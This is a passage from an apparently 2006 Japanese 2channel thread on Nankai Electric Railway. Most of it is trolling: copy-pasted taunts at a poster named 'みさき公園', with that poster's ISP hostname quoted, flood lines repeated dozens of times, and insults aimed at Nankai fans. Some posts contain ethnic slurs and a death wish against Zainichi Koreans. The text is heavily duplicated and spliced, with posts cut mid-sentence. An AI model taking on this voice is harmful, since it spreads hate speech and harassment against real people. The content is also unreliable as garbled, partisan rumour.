649 ：名無しでGO!：2006/09/06(水) 23:01:02 ID:4AjO72mw0
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650 ：名無しでGO!：2006/09/06(水) 23:01:47 ID:4AjO72mw0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
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また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
>380マジレスすると金をせしめられないならば鮮人のが飽きやすい 南海の乗客は質が悪いのだろうか？ロングシートに白く液体がこぼれて乾いた跡が毎日目に付くのだが。
8000系が維持できなくなったからといって、足回りをそれより古いものとするお笑いを行なった、大阪市中央区難波を根城とする、鉄道業を題材としたちんどん屋は？ >1「とり」もスレ違い、板違
いだな。
いだな。
>388質悪いよ。昼間は平気でイスにざるソバとか広げて食べてるし、「車内は禁煙」という常識なんてお構いなしに平気で車内でタバコ吸って車両の床を焦がしてるし、夜中は酔っ払いが車両間の
連結部分で平気で立ッションするし。
連結部分で平気で立ッションするし。
>389それが南海クオリティ
655 ：名無しでGO!：2006/09/08(金) 23:49:57 ID:4pOtbYjU0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
656 ：名無しでGO!：2006/09/08(金) 23:54:12 ID:4pOtbYjU0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。今橋本20時21分発の急行乗ってるが、運転士、乗務員室の扉開けて女と喋りながら運転してるで。林間で客多くなったからやめたけど。
南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪
者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、
駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、
治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南
海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者
が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅
前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治
安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海
沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が
多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い
者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、
駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、
治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南
海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者
が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅
前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治
安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海
沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が
多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い。南海沿線は浮浪者が多いので、駅前は汚いし、治安も悪い
659 ：名無しでGO!：2006/09/10(日) 00:13:15 ID:avQpiwjJ0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
南海ボロイ
661 ：名無しでGO!：2006/09/10(日) 11:05:23 ID:3NNzJSPm0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
鉄道界のスーパー玉出関西私鉄の北朝鮮速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(
´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´
∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀
｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀
)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速
く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く
東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東
´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´
∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀
｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀
)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速
く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く
東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東
証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証
一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一
部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部
に上場しろ(´∀｀) 運珍値下げしてくれねぇーかな。同じ府内なのに難波まで５００円以上とかやべぇ。そうそうないぜこんな私鉄。運賃高いくせにｐｉｔａｐａ使える自動改札機少なすぎるぞ何
とかしろやボケさっさと社長が宣言した東証一部に上場したらー？(´∀｀)まさか、できる見込みのないことを宣言して、株価に影響を与えようとしたんじゃないんでしょ？ー？(´∀｀)東証1部200
6/7/2410:01[No.1790/1832]投稿者:seikeishinkou2006いつになったら東証1部に上場するのですか？誰か教えて下さい。経営能力を問われるよ！ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m
&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1790早く、ナショナルブランドヘ！！2006/4/1510:12[No.1308/1832]投稿者:kabusukihanachan東証一部へ何時引越しするの、社長？？出来
ない事、株主総会で軽軽しく言ぅもんやないでー、今年の株主総会、言い訳考えるか、次の時期明確にしてんか！！ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee
5a4e4fbb&sid=1009044&mid=1308
一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一
部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部に上場しろ(´∀｀)速く東証一部
に上場しろ(´∀｀) 運珍値下げしてくれねぇーかな。同じ府内なのに難波まで５００円以上とかやべぇ。そうそうないぜこんな私鉄。運賃高いくせにｐｉｔａｐａ使える自動改札機少なすぎるぞ何
とかしろやボケさっさと社長が宣言した東証一部に上場したらー？(´∀｀)まさか、できる見込みのないことを宣言して、株価に影響を与えようとしたんじゃないんでしょ？ー？(´∀｀)東証1部200
6/7/2410:01[No.1790/1832]投稿者:seikeishinkou2006いつになったら東証1部に上場するのですか？誰か教えて下さい。経営能力を問われるよ！ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m
&board=1009044&tid=fn3a4ee5a4e4fbb&sid=1009044&mid=1790早く、ナショナルブランドヘ！！2006/4/1510:12[No.1308/1832]投稿者:kabusukihanachan東証一部へ何時引越しするの、社長？？出来
ない事、株主総会で軽軽しく言ぅもんやないでー、今年の株主総会、言い訳考えるか、次の時期明確にしてんか！！ttp://messages.yahoo.co.jp/bbs?.mm=FN&action=m&board=1009044&tid=fn3a4ee
5a4e4fbb&sid=1009044&mid=1308
664 ：名無しでGO!：2006/09/10(日) 17:15:32 ID:3NNzJSPm0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
って言ったら我慢できずにのこのこ現れてやんのｗ
233 名前： みさき公園 投稿日： 2006/08/24(木) 22:47:51 HOST:KHP059140111159.ppp-bb.dion.ne.jp
釣りたいのかい？
アホくさ
>710-711それが赤字南海クオリティ
海ボイ
字産
668 ：名無しでGO!：2006/09/10(日) 22:08:57 ID:nKDtUZpg0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
赤字南海ｦﾀの人生おわっとる
安かろう良かろうの阪急安かろう悪かろうのスーパー玉出高かろう悪かろうの赤字監禁強制わいせつ南海
671 ：名無しでGO!：2006/09/10(日) 23:58:37 ID:nKDtUZpg0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
23:59:59なら赤字南海ボロイ
赤字南海ｵﾀｸは、はっきり言って存在が迷惑。ガキでも半人前の大人でも大抵、著しい危険行為で列車の運行をめちゃくちゃにしてくれるわ、試験受けて落ちても、何故落ちたのか自己分析できず、
揚句の果てに鼻息を荒くしながら当社に問い合わせてくる低学歴。そもそも大学卒業してないのにｴﾝﾄﾘｰしようとする馬鹿までいる。
揚句の果てに鼻息を荒くしながら当社に問い合わせてくる低学歴。そもそも大学卒業してないのにｴﾝﾄﾘｰしようとする馬鹿までいる。
674 ：名無しでGO!：2006/09/11(月) 21:41:22 ID:amnPnx0c0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
何回のっても南海でんしゃ。田舎者まるだし、料金高い、地方切捨てのダイヤ改定南海の車内アナウンスは不親切だと思う。初めて乗ったとき、「この電車は○○まで先着します」(忘れたが、高石
だったように思う)というから、○○で降りて急行に乗り換えればいいんだなと思ってたら、確かに○○には先に着いたが、急行は○○には止まらず、行ってしまった。あと、「難波には次の急行が
先に到着します」というから、岸和田で急行に乗り換えたら、指定でないサザンに抜かれたり。どちらも間違っちゃいないのかもしれんが、不親切な気がする。パークスなんて廃墟に近い状態やん
ウインズ以外人がいない南海は他社に再編されてしまう立場なのでは南海は泉佐野以南橋本以南のお荷物をどれくらい節約できるかだよなあ>803関西私鉄で南海を拾うような物好きはないと思われ。
>805関西私鉄では南海が一番下だからどこか買うんじゃないの？どうせまた経営が揺らいで来ると思うし上り難波行き急行はだいたいどの駅から乗っても座れないぐらい混んでるのにすごい赤字な
のが理解できぬ。南海七不思議車両ボロイ運賃高い客のガラが悪い関空最優先強制わいせつ運転士車掌阪急への嫉妬赤字監禁強制わいせつ南海ヲタの存在価値ｒｰ､｣´￣｀ｌｰ)＼Ｔ¨Ｌ|_/⌒/→阪急｀
レ￣｀ヽ〈|i＿_1_ゝ_／ノＬ__jイ´_）|ｲ|ﾉ--､ｒ'⌒ヽ_ゝ､_＿_ﾉ二７／´￣l､＿,/}:＼|ｰi|l_/／__ｨ::.ゝ~_ィ´:;,ゝ__〉{(Ｔ´|1:::.＼_>､};;_｣'ー‐┘!｀￣''ｧ一､＼ヽ｝←南海〈｀￣￣＾｀¬ﾉ .
::〔￣´1ヽ.:::レヽ、|＿ｲｰ-､_;;j|_:.ゝ、__,,,...--|.｛―――‐ﾌゝ、〉--...,,,___,,-‐´,ｒ|__ﾄ,1ﾆﾉー'´‐-,,_,‐´└―'´>792阪急百貨店なんかは、コンスタントに満員なのにね。パークス
のガラガラ具合は、阪神百貨店の５階みたい。低脳↓↑低脳>829ヨドバシカメラ梅田のほうがはるかに賑わっている。
だったように思う)というから、○○で降りて急行に乗り換えればいいんだなと思ってたら、確かに○○には先に着いたが、急行は○○には止まらず、行ってしまった。あと、「難波には次の急行が
先に到着します」というから、岸和田で急行に乗り換えたら、指定でないサザンに抜かれたり。どちらも間違っちゃいないのかもしれんが、不親切な気がする。パークスなんて廃墟に近い状態やん
ウインズ以外人がいない南海は他社に再編されてしまう立場なのでは南海は泉佐野以南橋本以南のお荷物をどれくらい節約できるかだよなあ>803関西私鉄で南海を拾うような物好きはないと思われ。
>805関西私鉄では南海が一番下だからどこか買うんじゃないの？どうせまた経営が揺らいで来ると思うし上り難波行き急行はだいたいどの駅から乗っても座れないぐらい混んでるのにすごい赤字な
のが理解できぬ。南海七不思議車両ボロイ運賃高い客のガラが悪い関空最優先強制わいせつ運転士車掌阪急への嫉妬赤字監禁強制わいせつ南海ヲタの存在価値ｒｰ､｣´￣｀ｌｰ)＼Ｔ¨Ｌ|_/⌒/→阪急｀
レ￣｀ヽ〈|i＿_1_ゝ_／ノＬ__jイ´_）|ｲ|ﾉ--､ｒ'⌒ヽ_ゝ､_＿_ﾉ二７／´￣l､＿,/}:＼|ｰi|l_/／__ｨ::.ゝ~_ィ´:;,ゝ__〉{(Ｔ´|1:::.＼_>､};;_｣'ー‐┘!｀￣''ｧ一､＼ヽ｝←南海〈｀￣￣＾｀¬ﾉ .
::〔￣´1ヽ.:::レヽ、|＿ｲｰ-､_;;j|_:.ゝ、__,,,...--|.｛―――‐ﾌゝ、〉--...,,,___,,-‐´,ｒ|__ﾄ,1ﾆﾉー'´‐-,,_,‐´└―'´>792阪急百貨店なんかは、コンスタントに満員なのにね。パークス
のガラガラ具合は、阪神百貨店の５階みたい。低脳↓↑低脳>829ヨドバシカメラ梅田のほうがはるかに賑わっている。
はんきゅう→勝ち組なんかい→負け組って変換された
677 ：名無しでGO!：2006/09/12(火) 06:47:32 ID:ly99snsg0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
829：名無し野電車区：2006/09/11(月)23:50:35ID:VyI1gDCV>827百貨店以外でパークスより客の入っている商業施設があるか？↓841：名無し野電車区：2006/09/12(火)00:03:43ID:C0s4T9KL>829ヨド
バシカメラ梅田のほうがはるかに賑わっている。↓851：名無し野電車区：2006/09/12(火)01:04:05ID:UVj6Rlb3>841大丸梅田店あたりと比べたらパークスの方が賑わっているだろう。南海がバカにさ
れていると思い込んでムキになると、周りが全く見えなくなり、明らかに空気やレスの流れが読めなくなって全くかみ合わないレスをつける>>151（ID:UVj6Rlb3）829：名無し野電車区：2006/09/11
(月)23:50:35ID:VyI1gDCV>827百貨店以外でパークスより客の入っている商業施設があるか？↓841：名無し野電車区：2006/09/12(火)00:03:43ID:C0s4T9KL>829ヨドバシカメラ梅田のほうがはるかに
賑わっている。↓851：名無し野電車区：2006/09/12(火)01:04:05ID:UVj6Rlb3>841大丸梅田店あたりと比べたらパークスの方が賑わっているだろう。南海がバカにされていると思い込んでムキになる
と、周りが全く見えなくなり、明らかに空気やレスの流れが読めなくなって全くかみ合わないレスをつける>>851（ID:UVj6Rlb3）
バシカメラ梅田のほうがはるかに賑わっている。↓851：名無し野電車区：2006/09/12(火)01:04:05ID:UVj6Rlb3>841大丸梅田店あたりと比べたらパークスの方が賑わっているだろう。南海がバカにさ
れていると思い込んでムキになると、周りが全く見えなくなり、明らかに空気やレスの流れが読めなくなって全くかみ合わないレスをつける>>151（ID:UVj6Rlb3）829：名無し野電車区：2006/09/11
(月)23:50:35ID:VyI1gDCV>827百貨店以外でパークスより客の入っている商業施設があるか？↓841：名無し野電車区：2006/09/12(火)00:03:43ID:C0s4T9KL>829ヨドバシカメラ梅田のほうがはるかに
賑わっている。↓851：名無し野電車区：2006/09/12(火)01:04:05ID:UVj6Rlb3>841大丸梅田店あたりと比べたらパークスの方が賑わっているだろう。南海がバカにされていると思い込んでムキになる
と、周りが全く見えなくなり、明らかに空気やレスの流れが読めなくなって全くかみ合わないレスをつける>>851（ID:UVj6Rlb3）
南海ヲタには知性と品性が足りない南海はいずれなくなるよラピートいつもガラガラ泉北高速鉄道ユーザーですがいつ買収されますか？>881というか泉北高速鉄道が南海を買収してください
本当頭弱いなあ、南海ヲタって
いつもながら南海厨は必死だな
南海ヲタは独り暮らしで近場に友達が一人もいなく、会社や学校で孤立してて毎日鬱気味
基地外南海信者は関西私鉄界の癌だな
もうね、南海って名前聞くだけで不愉快よ|何について調べますか？|┌────────────┐||基地外南海信者を消す方法｜||｜|└────────────┘|[ オプション(O)][ 検索(S)
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休日の店内混雑度合い比較表阪急百貨店＞＞ヨドバシ梅田＞＞＞＞（越えられない壁）＞＞＞＞日本橋道楽＞＞日本橋まんだらけ＞＞ヤマダ電機ＬＡＢＩ１＝なんばパークス
686 ：名無しでGO!：2006/09/12(火) 23:52:26 ID:ORSFPXFE0
結局トンズラしたみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
自分がニートじゃないことをアピールして派手に自爆したみさき公園
だから就職もままならないみさき公園
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園
在日朝鮮人死ね↓赤字監禁強制わいせつ南海ヲタ◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２
００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定
、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし
、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費な
どの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆
◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公
園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむ
き出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはない
として撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆
◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰
００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定
、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし
、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費な
どの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆
◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公
園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむ
き出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはない
として撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆
◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰
